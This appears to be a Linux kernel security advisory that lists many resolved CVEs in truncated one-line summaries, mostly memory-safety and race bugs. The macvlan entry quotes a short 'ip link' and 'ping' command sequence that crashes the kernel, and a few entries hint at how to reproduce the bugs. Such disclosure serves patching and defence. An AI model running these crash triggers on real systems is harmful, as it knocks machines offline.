In the Linux kernel, the following vulnerability has been resolved: fs: dlm: fix use after free in midcomms commit While working on processing dlm message in softirq context I experienced the following KASAN use-after-free warning: . In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: Fix oops due to NULL pointer dereference in brcmf_sdiod_sglist_rw() This patch fixes a NULL pointer dereference bug in brcmfmac that occurs when a high 'sd_sgentry_align' value applies (e.g. 512) and a lot of queued SKBs are sent from the pkt queue. In the Linux kernel, the following vulnerability has been resolved: padata: fix UAF in padata_reorder A bug was found when run ltp test: BUG: KASAN: slab-use-after-free in padata_find_next+0x29/0x1a0 Read of size 4 at addr ffff88bbfe003524 by task kworker/u113:2/3039206 CPU: 0 PID: 3039206 Comm: kworker/u113:2 Kdump: loaded Not tainted 6.6.0+ Workqueue: pdecrypt_parallel padata_parallel_worker Call Trace: dump_stack_lvl+0x32/0x50 print_address_description.constprop.0+0x6b/0x3d0 print_report+0xdd/0x2c0 kasan_report+0xa5/0xd0 padata_find_next+0x29/0x1a0 padata_reorder+0x131/0x220 padata_parallel_worker+0x3d/0xc0 process_one_work+0x2ec/0x5a0 If 'mdelay(10)' is added before calling 'padata_find_next' in the 'padata_reorder' function, this issue could be reproduced easily with ltp test (pcrypt_aead01). In the Linux kernel, the following vulnerability has been resolved: geneve: Fix use-after-free in geneve_find_dev(). In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free in ksmbd_sessions_deregister() In multichannel mode, UAF issue can occur in session_deregister when the second channel sets up a session through the connection of the first channel. In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_tunnel: fix geneve_opt type confusion addition When handling multiple NFTA_TUNNEL_KEY_OPTS_GENEVE attributes, the parsing logic should place every geneve_opt structure one by one compactly. In the Linux kernel, the following vulnerability has been resolved: ext4: ignore xattrs past end Once inside 'ext4_xattr_inode_dec_ref_all' we should ignore xattrs entries past the 'end' entry. In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free in __smb2_lease_break_noti() Move tcp_transport free to ksmbd_conn_free. In the Linux kernel, the following vulnerability has been resolved: ksmbd: Fix dangling pointer in krb_authenticate krb_authenticate frees sess->user and does not set the pointer to NULL. In the Linux kernel, the following vulnerability has been resolved: net_sched: hfsc: Fix a potential UAF in hfsc_dequeue() too Similarly to the previous patch, we need to safe guard hfsc_dequeue() too. But for this one, we don't have a reliable reproducer.)(CVE-2025-37823). In the Linux kernel, the following vulnerability has been resolved: jbd2: remove wrong sb->s_sequence check Journal emptiness is not determined by sb->s_sequence . In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Fix mode1 reset crash issue If HW scheduler hangs and mode1 reset is used to recover GPU, KFD signal user space to abort the processes. In the Linux kernel, the following vulnerability has been resolved: drm/xe: Use local fence in error path of xe_migrate_clear The intent of the error path in xe_migrate_clear is to wait on locally generated fence and then return. In the Linux kernel, the following vulnerability has been resolved: net_sched: qfq: Fix double list add in class with netem as child qdisc As described in Gerrard's report . In the Linux kernel, the following vulnerability has been resolved: net_sched: ets: Fix double list add in class with netem as child qdisc As described in Gerrard's report . In the Linux kernel, the following vulnerability has been resolved: vxlan: vnifilter: Fix unlocked deletion of default FDB entry When a VNI is deleted from a VXLAN device in 'vnifilter' mode, the FDB entry associated with the default remote (assuming one was configured) is deleted without holding the hash lock. In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: Fix invalid data access in ath12k_dp_rx_h_undecap_nwifi In certain cases, hardware might provide packets with a length greater than the maximum native Wi-Fi header length. This can lead to accessing and modifying fields in the header within the ath12k_dp_rx_h_undecap_nwifi function for DP_RX_DECAP_TYPE_NATIVE_WIFI decap type and potentially resulting in invalid data access and memory corruption. In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: Fix invalid entry fetch in ath12k_dp_mon_srng_process Currently, ath12k_dp_mon_srng_process uses ath12k_hal_srng_src_get_next_entry to fetch the next entry from the destination ring. In the Linux kernel, the following vulnerability has been resolved: ksmbd: Fix UAF in __close_file_table_ids A use-after-free is possible if one thread destroys the file via __ksmbd_close_fd while another thread holds a reference to it. In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Fix slab-use-after-free Read in rxe_queue_cleanup bug Call Trace: __dump_stack lib/dump_stack.c:94 . In the Linux kernel, the following vulnerability has been resolved: crypto: algif_hash - fix double free in hash_accept If accept(2) is called on socket type algif_hash with MSG_MORE flag set and crypto_ahash_import fails, sk2 is freed. In the Linux kernel, the following vulnerability has been resolved: net/sched: fix use-after-free in taprio_dev_notifier Since taprio’s taprio_dev_notifier() isn’t protected by an RCU read-side critical section, a race with advance_sched() can lead to a use-after-free. In the Linux kernel, the following vulnerability has been resolved: page_pool: Fix use-after-free in page_pool_recycle_in_ring syzbot reported a uaf in page_pool_recycle_in_ring: BUG: KASAN: slab-use-after- free in lock_release+0x151/0xa30 kernel/locking/lockdep.c:5862 Read of size 8 at addr ffff8880286045a0 by task syz.0.284/6943 CPU: 0 UID: 0 PID: 6943 Comm: syz.0.284 Not tainted 6.13.0-rc3-syzkaller-gdfa94ce54f41 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024 Call Trace: __dump_stack lib/dump_stack.c:94 . In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: Fix the dead loop of MPLS parse The unexpected MPLS packet may not end with the bottom label stack. In the Linux kernel, the following vulnerability has been resolved: RDMA/iwcm: Fix use-after-free of work objects after cm_id destruction The commit 59c68ac31e15 ('iw_cm: free cm_id resources on the last deref') simplified cm_id resource management by freeing cm_id once all references to the cm_id were removed. In the Linux kernel, the following vulnerability has been resolved: ipc: fix to protect IPCS lookups using RCU syzbot reported that it discovered a use-after-free vulnerability, . In the Linux kernel, the following vulnerability has been resolved: media: vivid: Change the siize of the composing syzkaller found a bug: BUG: KASAN: vmalloc-out-of-bounds in tpg_fill_plane_pattern drivers/media/common/v4l2-tpg/v4l2-tpg-core.c:2608 . In the Linux kernel, the following vulnerability has been resolved: bridge: mcast: Fix use-after-free during router port configuration The bridge maintains a global list of ports behind which a multicast router resides. In the Linux kernel, the following vulnerability has been resolved: s390/pkey: Prevent overflow in size calculation for memdup_user() Number of apqn target list entries contained in 'nr_apqns' variable is determined by userspace via an ioctl call so the result of the product in calculation of size passed to memdup_user() may overflow. In the Linux kernel, the following vulnerability has been resolved: eventpoll: don't decrement ep refcount while still holding the ep mutex Jann Horn points out that epoll is decrementing the ep refcount and then doing a mutex_unlock(&ep->mtx); afterwards. In the Linux kernel, the following vulnerability has been resolved: posix-cpu-timers: fix race between handle_posix_cpu_timers() and posix_cpu_timer_del() If an exiting non-autoreaping task has already passed exit_notify() and calls handle_posix_cpu_timers() from IRQ, it can be reaped by its parent or debugger right after unlock_task_sighand(). In the Linux kernel, the following vulnerability has been resolved: rose: fix dangling neighbour pointers in rose_rt_device_down() There are two bugs in rose_rt_device_down() that can cause use-after-free: 1. In the Linux kernel, the following vulnerability has been resolved: mtk-sd: Prevent memory corruption from DMA map failure If msdc_prepare_data() fails to map the DMA region, the request is not prepared for data receiving, but msdc_start_data() proceeds the DMA with previous setting. In the Linux kernel, the following vulnerability has been resolved: NFC: nci: uart: Set tty->disc_data only in success path Setting tty->disc_data before opening the NCI device means we need to clean it up on error paths. In the Linux kernel, the following vulnerability has been resolved: i2c: tegra: check msg length in SMBUS block read For SMBUS block read, do not continue to read if the message length passed from the device is '0' or greater than the maximum allowed bytes.)(CVE-2025-38425). In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix potential use-after-free in oplock/lease break ack If ksmbd_iov_pin_rsp return error, use-after-free can happen by accessing opinfo->state and opinfo_put and ksmbd_fd_put could called twice.)(CVE-2025-38437). In the Linux kernel, the following vulnerability has been resolved: tipc: Fix use-after-free in tipc_conn_close(). In the Linux kernel, the following vulnerability has been resolved: HID: core: do not bypass hid_hw_raw_request hid_hw_raw_request() is actually useful to ensure the provided buffer and length are valid. Directly calling in the low level transport driver function bypassed those checks and allowed invalid paramto be used.)(CVE-2025-38494). In the Linux kernel, the following vulnerability has been resolved: ipv6: mcast: Delay put pmc->idev in mld_del_delrec() pmc->idev is still used in ip6_mc_clear_src(), so as mld_clear_delrec() does, the reference should be put after ip6_mc_clear_src() return.)(CVE-2025-38550). In the Linux kernel, the following vulnerability has been resolved: net/packet: fix a race in packet_set_ring() and packet_notifier() When packet_set_ring() releases po->bind_lock, another thread can run packet_notifier() and process an NETDEV_UP event. In the Linux kernel, the following vulnerability has been resolved: jfs: upper bound check of tree index in dbAllocAG When computing the tree index in dbAllocAG, we never check if we are out of bounds realative to the size of the stree. In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Add sanity check for file name The length of the file name should be smaller than the directory entry size.)(CVE-2025-38707). In the Linux kernel, the following vulnerability has been resolved: nfsd: handle get_client_locked() failure in nfsd4_setclientid_confirm() Lei Lu recently reported that nfsd4_setclientid_confirm() did not check the return value from get_client_locked(). In the Linux kernel, the following vulnerability has been resolved: io_uring/net: commit partial buffers on retry Ring provided buffers are potentially only valid within the single execution context in which they were acquired. In the Linux kernel, the following vulnerability has been resolved: NFS: Fix filehandle bounds checking in nfs_fh_to_dentry() The function needs to check the minimal filehandle length before it can access the embedded filehandle.)(CVE-2025-39730). In the Linux kernel, the following vulnerability has been resolved: jfs: fix slab-out-of-bounds read in ea_get() During the 'size_check' label in ea_get(), the code checks if the extended attribute list (xattr) size matches ea_size. In the Linux kernel, the following vulnerability has been resolved: jfs: truncate good inode pages when hard link is 0 The fileset value of the inode copy from the disk by the reproducer is AGGR_RESERVED_I. When executing evict, its hard link number is 0, so its inode pages are not truncated. In the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Detect events pointing to unexpected TREs When a remote device sends a completion event to the host, it contains a pointer to the consumed TRE. In the Linux kernel, the following vulnerability has been resolved: HID: asus: fix UAF via HID_CLAIMED_INPUT validation After hid_hw_start() is called hidinput_connect() will eventually be called to set up the device with the input layer since the HID_CONNECT_DEFAULT connect mask is used. In the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Fix buffer free/clear order in deferred receive path Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path. In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: sme: cap SSID length in __cfg80211_connect_result() If the ssid->datalen is more than IEEE80211_MAX_SSID_LEN (32) it would lead to memory corruption so add some bounds checking.)(CVE-2025-39849). In the Linux kernel, the following vulnerability has been resolved: Bluetooth: Fix use-after-free in l2cap_sock_cleanup_listen() syzbot reported the splat below without a repro. In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: fix use-after-free when rescheduling brcmf_btcoex_info work The brcmf_btcoex_detach() only shuts down the btcoex timer, if the flag timer_on is false. In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: fix use-after-free in cmp_bss() Following bss_free() quirk introduced in commit 776b3580178f ('cfg80211: track hidden SSID networks properly'), adjust cfg80211_update_known_bss() to free the last beacon frame elements only if they're not shared via the corresponding 'hidden_beacon_bss' pointer.)(CVE-2025-39864). In the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use- after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. In the Linux kernel, the following vulnerability has been resolved: kernfs: Fix UAF in polling when open file is released A use- after-free (UAF) vulnerability was identified in the PSI (Pressure Stall Information) monitoring mechanism: BUG: KASAN: slab-use-after-free in psi_trigger_poll+0x3c/0x140 Read of size 8 at addr ffff3de3d50bd308 by task systemd/1 psi_trigger_poll+0x3c/0x140 cgroup_pressure_poll+0x70/0xa0 cgroup_file_poll+0x8c/0x100 kernfs_fop_poll+0x11c/0x1c0 ep_item_poll.isra.0+0x188/0x2c0 Allocated by task 1: cgroup_file_open+0x88/0x388 kernfs_fop_open+0x73c/0xaf0 do_dentry_open+0x5fc/0x1200 vfs_open+0xa0/0x3f0 do_open+0x7e8/0xd08 path_openat+0x2fc/0x6b0 do_filp_open+0x174/0x368 Freed by task 8462: cgroup_file_release+0x130/0x1f8 kernfs_drain_open_files+0x17c/0x440 kernfs_drain+0x2dc/0x360 kernfs_show+0x1b8/0x288 cgroup_file_show+0x150/0x268 cgroup_pressure_write+0x1dc/0x340 cgroup_file_write+0x274/0x548 Reproduction Steps: 1. In the Linux kernel, the following vulnerability has been resolved: svcrdma: bound check rq_pages index in inline path svc_rdma_copy_inline_range indexed rqstp->rq_pages. In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btusb: revert use of devm_kzalloc in btusb This reverts commit 98921dbd00c4e ('Bluetooth: Use devm_kzalloc in btusb.c file'). In the Linux kernel, the following vulnerability has been resolved: iommu: disable SVA when CONFIG_X86 is set Patch series 'Fix stale IOTLB entries for kernel address space', v7. In the Linux kernel, the following vulnerability has been resolved: dmaengine: tegra-adma: Fix use-after-free A use-after-free bug exists in the Tegra ADMA driver when audio streams are terminated, particularly during XRUN conditions. In the Linux kernel, the following vulnerability has been resolved: mm/page_alloc: prevent pcp corruption with SMP. In the Linux kernel, the following vulnerability has been resolved: net/sched: Enforce that teql can only be used as root qdisc Design intent of teql is that it is only supposed to be used as root qdisc. We need to check for that constraint. In the Linux kernel, the following vulnerability has been resolved: net/sched: qfq: Use cl_is_active to determine whether class is active in qfq_rm_from_ag This is more of a preventive patch to make the code more consistent and to prevent possible exploits that employ child qlen manipulations on qfq. In the Linux kernel, the following vulnerability has been resolved: mptcp: fix race in mptcp_pm_nl_flush_addrs_doit() syzbot and Eulgyu Kim reported crashes in mptcp_pm_nl_get_local_id() and/or mptcp_pm_nl_is_backup() Root cause is list_splice_init() in mptcp_pm_nl_flush_addrs_doit() which is not RCU ready. list_splice_init_rcu() can not be called here while holding pernet->lock spinlock. In the Linux kernel, the following vulnerability has been resolved: macvlan: fix error recovery in macvlan_common_newlink() valis provided a nice repro to crash the kernel: ip link add p1 type veth peer p2 ip link set address 00:00:00:00:00:20 dev p1 ip link set up dev p1 ip link set up dev p2 ip link add mv0 link p2 type macvlan mode source ip link add invalid% link p2 type macvlan mode source macaddr add 00:00:00:00:00:20 ping -c1 -I p1 1.2.3.4 He also gave a very detailed analysis: The issue is triggered when a new macvlan link is created with MACVLAN_MODE_SOURCE mode and MACVLAN_MACADDR_ADD (or MACVLAN_MACADDR_SET) parameter, lower device already has a macvlan port and register_netdevice() called from macvlan_common_newlink() fails (e.g. In the Linux kernel, the following vulnerability has been resolved: scsi: target: iscsi: Fix use-after-free in iscsit_dec_conn_usage_count() In iscsit_dec_conn_usage_count(), the function calls complete() while holding the conn->conn_usage_lock. In the Linux kernel, the following vulnerability has been resolved: crypto: omap - Allocate OMAP_CRYPTO_FORCE_COPY scatterlists correctly The existing allocation of scatterlists in omap_crypto_copy_sg_lists() was allocating an array of scatterlist pointers, not scatterlist objects, resulting in a 4x too small allocation. Use sizeof(*new_sg) to get the correct object size.)(CVE-2026-23222). In the Linux kernel, the following vulnerability has been resolved: media: dvb-core: fix wrong reinitialization of ringbuffer on reopen dvb_dvr_open() calls dvb_ringbuffer_init() when a new reader opens the DVR device. In the Linux kernel, the following vulnerability has been resolved: macvlan: observe an RCU grace period in macvlan_common_newlink() error path valis reported that a race condition still happens after my prior patch. In the Linux kernel, the following vulnerability has been resolved: nfc: rawsock: cancel tx_work before socket teardown In rawsock_release(), cancel any pending tx_work and purge the write queue before orphaning the socket. In the Linux kernel, the following vulnerability has been resolved: netfilter: xt_CT: drop pending enqueued packets on template removal Templates refer to objects that can go away while packets are sitting in nfqueue refer to: - helper, this can be an issue on module removal. In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: release flowtable after rcu grace period on error Call synchronize_rcu() after unregistering the hooks from error path, since a hook that already refers to this flowtable can be already registered, exposing this flowtable to packet path and nfnetlink_hook control plane. In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free of share_conf in compound request smb2_get_ksmbd_tcon() reuses work->tcon in compound requests without validating tcon->t_state. In the Linux kernel, the following vulnerability has been resolved: net/smc: fix NULL dereference and UAF in smc_tcp_syn_recv_sock() Syzkaller reported a panic in smc_tcp_syn_recv_sock() . In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_h323: check for zero length in DecodeQ931() In DecodeQ931(), the UserUserIE code path reads a 16-bit length from the packet, then decrements it by 1 to skip the protocol discriminator byte before passing it to DecodeH323_UserInformation(). In the Linux kernel, the following vulnerability has been resolved: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache The NFSv4.0 replay cache uses a fixed 112-byte inline buffer (rp_ibuf. In the Linux kernel, the following vulnerability has been resolved: media: dvb-net: fix OOB access in ULE extension header tables The ule_mandatory_ext_handlers. In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_expect: use expect->helper Use expect->helper in ctnetlink and /proc to dump the helper name. In the Linux kernel, the following vulnerability has been resolved: net: bonding: fix use-after-free in bond_xmit_broadcast() bond_xmit_broadcast() reuses the original skb for the last slave (determined by bond_is_last_slave()) and clones it for others. In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix potencial OOB in get_file_all_info() for compound requests When a compound request consists of QUERY_DIRECTORY + QUERY_INFO (FILE_ALL_INFORMATION) and the first command consumes nearly the entire max_trans_size, get_file_all_info() would blindly call smbConvertToUTF16() with PATH_MAX, causing out-of-bounds write beyond the response buffer. In the Linux kernel, the following vulnerability has been resolved: dmaengine: idxd: fix possible wrong descriptor completion in llist_abort_desc() At the end of this function, d is the traversal cursor of flist, but the code completes found instead. In the Linux kernel, the following vulnerability has been resolved: ext4: reject mount if bigalloc with s_first_data_block !. In the Linux kernel, the following vulnerability has been resolved: xfs: save ailp before dropping the AIL lock in push callbacks In xfs_inode_item_push() and xfs_qm_dquot_logitem_push(), the AIL lock is dropped to perform buffer IO. In the Linux kernel, the following vulnerability has been resolved: virtio_net: Fix UAF on dst_ops when IFF_XMIT_DST_RELEASE is cleared and napi_tx is false A UAF issue occurs when the virtio_net driver is configured with napi_tx. In the Linux kernel, the following vulnerability has been resolved: media: mc, v4l2: serialize REINIT and REQBUFS with req_queue_mutex MEDIA_REQUEST_IOC_REINIT can run concurrently with VIDIOC_REQBUFS(0) queue teardown paths. In the Linux kernel, the following vulnerability has been resolved: ksmbd: do not expire session on binding failure When a multichannel session binding request fails (e.g. In the Linux kernel, the following vulnerability has been resolved: ksmbd: replace hardcoded hdr2_len with offsetof() in smb2_calc_max_out_buf_len() After this commit (e2b76ab8b5c9 'ksmbd: add support for read compound'), response buffer management was changed to use dynamic iov array. In the Linux kernel, the following vulnerability has been resolved: net: fix fanout UAF in packet_release() via NETDEV_UP race packet_release() has a race window where NETDEV_UP can re-register a socket into a fanout group's arr. In the Linux kernel, the following vulnerability has been resolved: can: raw: fix ro->uniq use-after-free in raw_rcv() raw_release() unregisters raw CAN receive filters via can_rx_unregister(), but receiver deletion is deferred with call_rcu(). In the Linux kernel, the following vulnerability has been resolved: mm: blk-cgroup: fix use-after-free in cgwb_release_workfn() cgwb_release_workfn() calls css_put(wb->blkcg_css) and then later accesses wb->blkcg_css again via blkcg_unpin_online(). In the Linux kernel, the following vulnerability has been resolved: i2c: s3c24xx: check the size of the SMBUS message before using it The first byte of an i2c SMBUS message is the size, and it should be verified to ensure that it is in the range of 0..I2C_SMBUS_BLOCK_MAX before processing it. In the Linux kernel, the following vulnerability has been resolved: drm/i915/gt: fix refcount underflow in intel_engine_park_heartbeat A use-after-free / refcount underflow is possible when the heartbeat worker and intel_engine_park_heartbeat() race to release the same engine->heartbeat.systole request. In the Linux kernel, the following vulnerability has been resolved: batman-adv: hold claim backbone gateways by reference batadv_bla_add_claim() can replace claim->backbone_gw and drop the old gateway's last reference while readers still follow the pointer. In the Linux kernel, the following vulnerability has been resolved: af_unix: read UNIX_DIAG_VFS data under unix_state_lock Exact UNIX diag lookups hold a reference to the socket, but not to u->path. In the Linux kernel, the following vulnerability has been resolved: net: ipv6: flowlabel: defer exclusive option free until RCU teardown ip6fl_seq_show() walks the global flowlabel hash under the seq- file RCU read-side lock and prints fl->opt->opt_nflen when an option block is present. In the Linux kernel, the following vulnerability has been resolved: fuse: reject oversized dirents in page cache fuse_add_dirent_to_cache() computes a serialized dirent size from the server-controlled namelen field and copies the dirent into a single page- cache page. In the Linux kernel, the following vulnerability has been resolved: wifi: virt_wifi: remove SET_NETDEV_DEV to avoid use-after-free Currently we execute SET_NETDEV_DEV(dev, &priv->lowerdev->dev)` for the virt_wifi net devices. In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix out-of-bounds write in smb2_get_ea() EA alignment smb2_get_ea() applies 4-byte alignment padding via memset() after writing each EA entry. In the Linux kernel, the following vulnerability has been resolved: ksmbd: validate num_aces and harden ACE walk in smb_inherit_dacl() smb_inherit_dacl() trusts the on-disk num_aces value from the parent directory's DACL xattr and uses it to size a heap allocation: aces_base . In the Linux kernel, the following vulnerability has been resolved: smb: client: fix OOB read in smb2_ioctl_query_info QUERY_INFO path smb2_ioctl_query_info() has two response-copy branches: PASSTHRU_FSCTL and the default QUERY_INFO path. In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: validate rec->used in journal-replay file record check check_file_record() validates rec->total against the record size but never validates rec->used. In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_uac1_legacy: validate control request size f_audio_complete() copies req->length bytes into a 4-byte stack variable: u32 data . In the Linux kernel, the following vulnerability has been resolved: usb: typec: ucsi: validate connector number in ucsi_notify_common() The connector number extracted from CCI via UCSI_CCI_CONNECTOR() is a 7-bit field (0-127) that is used to index into the connector array in ucsi_connector_change(). In the Linux kernel, the following vulnerability has been resolved: usb: usbtmc: Flush anchored URBs in usbtmc_release When calling usbtmc_release, pending anchored URBs must be flushed or killed to prevent use-after-free errors (e.g. In the Linux kernel, the following vulnerability has been resolved: usb: ulpi: fix double free in ulpi_register_interface() error path When device_register() fails, ulpi_register() calls put_device() on ulpi->dev. In the Linux kernel, the following vulnerability has been resolved: wifi: wilc1000: fix u8 overflow in SSID scan buffer size calculation The variable valuesize is declared as u8 but accumulates the total length of all SSIDs to scan. In the Linux kernel, the following vulnerability has been resolved: bpf: sockmap: Fix use-after-free of sk->sk_socket in sk_psock_verdict_data_ready(). In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_conn: fix potential UAF in set_cig_params_sync hci_conn lookup and field access must be covered by hdev lock in set_cig_params_sync, otherwise it's possible it is freed concurrently. In the Linux kernel, the following vulnerability has been resolved: Bluetooth: SCO: fix race conditions in sco_sock_connect() sco_sock_connect() checks sk_state and sk_type without holding the socket lock. In the Linux kernel, the following vulnerability has been resolved: bpf: Fix regsafe() for pointers to packet In case rold->reg->range . In the Linux kernel, the following vulnerability has been resolved: ipv6: icmp: clear skb2->cb. In the Linux kernel, the following vulnerability has been resolved: HID: multitouch: Check to ensure report responses match the request It is possible for a malicious (or clumsy) device to respond to a specific report's feature request using a completely different report ID. This can cause confusion in the HID core resulting in nasty side-effects such as OOB writes. In the Linux kernel, the following vulnerability has been resolved: HID: logitech-hidpp: Prevent use-after-free on force feedback initialisation failure Presently, if the force feedback initialisation fails when probing the Logitech G920 Driving Force Racing Wheel for Xbox One, an error number will be returned and propagated before the userspace infrastructure (sysfs and /dev/input) has been torn down. In the Linux kernel, the following vulnerability has been resolved: net: ioam6: fix OOB and missing lock When trace->type.bit6 is set: if (trace->type.bit6) { ... In the Linux kernel, the following vulnerability has been resolved: xfrm: Wait for RCU readers during policy netns exit xfrm_policy_fini() frees the policy_bydst hash tables after flushing the policy work items and deleting all policies, but it does not wait for concurrent RCU readers to leave their read-side critical sections first. The policy_bydst tables are published via rcu_assign_pointer() and are looked up through rcu_dereference_check(), so netns teardown must also wait for an RCU grace period before freeing the table memory. In the Linux kernel, the following vulnerability has been resolved: xsk: tighten UMEM headroom validation to account for tailroom and min frame The current headroom validation in xdp_umem_reg() could leave us with insufficient space dedicated to even receive minimum-sized ethernet frame. In the Linux kernel, the following vulnerability has been resolved: HID: roccat: fix use-after-free in roccat_report_event roccat_report_event() iterates over the device->readers list without holding the readers_lock. In the Linux kernel, the following vulnerability has been resolved: RDMA/irdma: Fix double free related to rereg_user_mr If IB_MR_REREG_TRANS is set during rereg_user_mr, the umem will be released and a new one will be allocated in irdma_rereg_mr_trans. In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Fix out-of-bounds write in kfd_event_page_set() The kfd_event_page_set() function writes KFD_SIGNAL_EVENT_LIMIT * 8 bytes via memset without checking the buffer size parameter. In the Linux kernel, the following vulnerability has been resolved: drm/atmel-hlcdc: fix use-after-free of drm_crtc_commit after release The atmel_hlcdc_plane_atomic_duplicate_state() callback was copying the atmel_hlcdc_plane state structure without properly duplicating the drm_plane_state. In the Linux kernel, the following vulnerability has been resolved: dm: clear cloned request bio pointer when last clone bio completes Stale rq->bio values have been observed to cause double- initialization of cloned bios in request-based device-mapper targets, leading to use-after-free and double-free scenarios. In the Linux kernel, the following vulnerability has been resolved: xfs: fix undersized l_iclog_roundoff values If the superblock doesn't list a log stripe unit, we set the incore log roundoff value to 512. In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Fix use-after-free race in VM acquire Replace non- atomic vm->process_info assignment with cmpxchg() to prevent race when parent/child processes sharing a drm_file both try to acquire the same VM after fork(). In the Linux kernel, the following vulnerability has been resolved: smb: server: fix use-after-free in smb2_open() The opinfo pointer obtained via rcu_dereference(fp->f_opinfo) is dereferenced after rcu_read_unlock(), creating a use-after-free window.)(CVE-2026-43378). In the Linux kernel, the following vulnerability has been resolved: ksmbd: validate inherited ACE SID length smb_inherit_dacl() walks the parent directory DACL loaded from the security descriptor xattr. In the Linux kernel, the following vulnerability has been resolved: crypto: pcrypt - Fix handling of MAY_BACKLOG requests MAY_BACKLOG requests can return EBUSY. In the Linux kernel, the following vulnerability has been resolved: rtmutex: Use waiter::task instead of current in remove_waiter() remove_waiter() is used by the slowlock paths, but it is also used for proxy-lock rollback in rt_mutex_start_proxy_lock() when invoked from futex_requeue(). In the Linux kernel, the following vulnerability has been resolved: net/rds: handle zerocopy send cleanup before the message is queued A zerocopy send can fail after user pages have been pinned but before the message is attached to the sending socket. It was discovered that a logic flaw existed in the XFRM ESP-in-TCP subsystem in the Linux kernel when handling socket buffer fragments. This flaw is known as Fragnesia. A local attacker could use this to escalate privileges, or possibly escape a container.)(CVE-2026-43503) In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Fix double free in rxe_srq_from_init In rxe_srq_from_init(), the queue pointer 'q' is assigned to 'srq->rq.queue' before copying the SRQ number to user space. In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: prevent infinite loops caused by the next valid being the same When processing valid within the range . In the Linux kernel, the following vulnerability has been resolved: ext4: drop extent cache when splitting extent fails When the split extent fails, we might leave some extents still being processed and return an error directly, which will result in stale extent entries remaining in the extent status tree. In the Linux kernel, the following vulnerability has been resolved: smb/client: fix out-of-bounds read in symlink_data() Since smb2_check_message() returns success without length validation for the symlink error response, in symlink_data() it is possible for iov->iov_len to be smaller than sizeof(struct smb2_err_rsp). In the Linux kernel, the following vulnerability has been resolved: smb: client: validate dacloffset before building DACL pointers parse_sec_desc(), build_sec_desc(), and the chown path in id_mode_to_cifs_acl() all add the server-supplied dacloffset to pntsd before proving a DACL header fits inside the returned security descriptor. On 32-bit builds a malicious server can return dacloffset near U32_MAX, wrap the derived DACL pointer below end_of_acl, and then slip past the later pointer-based bounds checks. In the Linux kernel, the following vulnerability has been resolved: procfs: fix missing RCU protection when reading real_parent in do_task_stat() When reading /proc/. It was discovered that a logic flaw existed in the XFRM ESP-in-TCP subsystem in the Linux kernel when handling socket buffer fragments. This flaw is known as Fragnesia. A local attacker could use this to escalate privileges, or possibly escape a container.)(CVE-2026-46300) In the Linux kernel, the following vulnerability has been resolved: sctp: purge outqueue on stale COOKIE-ECHO handling sctp_stream_update() is only invoked when the association is moved into COOKIE_WAIT during association setup/reconfiguration. In the Linux kernel, the following vulnerability has been resolved: libceph: Fix potential out-of-bounds access in crush_decode() A message of type CEPH_MSG_OSD_MAP containing a crush map with at least one bucket has two fields holding the bucket algorithm. In the Linux kernel, the following vulnerability has been resolved: libceph: Fix potential out-of-bounds access in osdmap_decode() When decoding osd_state and osd_weight from an incoming osdmap in osdmap_decode(), both are decoded for each osd, i.e., map->max_osd times. The ceph_decode_need() check only accounts for sizeof(*map->osd_weight) once. In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: propagate nvmet_tcp_build_pdu_iovec() errors to its callers Currently, when nvmet_tcp_build_pdu_iovec() detects an out-of- bounds PDU length or offset, it triggers nvmet_tcp_fatal_error(cmd->queue) and returns early. In the Linux kernel, the following vulnerability has been resolved: tipc: fix double-free in tipc_buf_append() tipc_msg_validate() can potentially reallocate the skb it is validating, freeing the old one. In tipc_buf_append(), it was being called with a pointer to a local variable which was a copy of the caller's skb pointer. In the Linux kernel, the following vulnerability has been resolved: netfilter: conntrack: remove sprintf usage Replace it with scnprintf, the buffer sizes are expected to be large enough to hold the result, no need for snprintf+overflow check. In the Linux kernel, the following vulnerability has been resolved: ipv6: fix possible UAF in icmpv6_rcv() Caching saddr and daddr before pskb_pull() is problematic since skb->head can change. In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix the ACK parser to extract the SACK table for parsing Fix modification of the received skbuff in rxrpc_input_soft_acks() and a potential incorrect access of the buffer in a fragmented UDP packet (the packet would probably have to be deliberately pre-generated as fragmented) when AF_RXRPC tries to extract the contents of the SACK table by copying out the contents of the SACK table into a buffer before attempting to parse AF_RXRPC assumes that it can just call skb_condense() and then validly access the SACK table from skb->data and that it will be a flat buffer - but skb_condense() can silently fail to do anything under some circumstances. In the Linux kernel, the following vulnerability has been resolved: IB/isert: Reject login PDUs shorter than ISER_HEADERS_LEN In 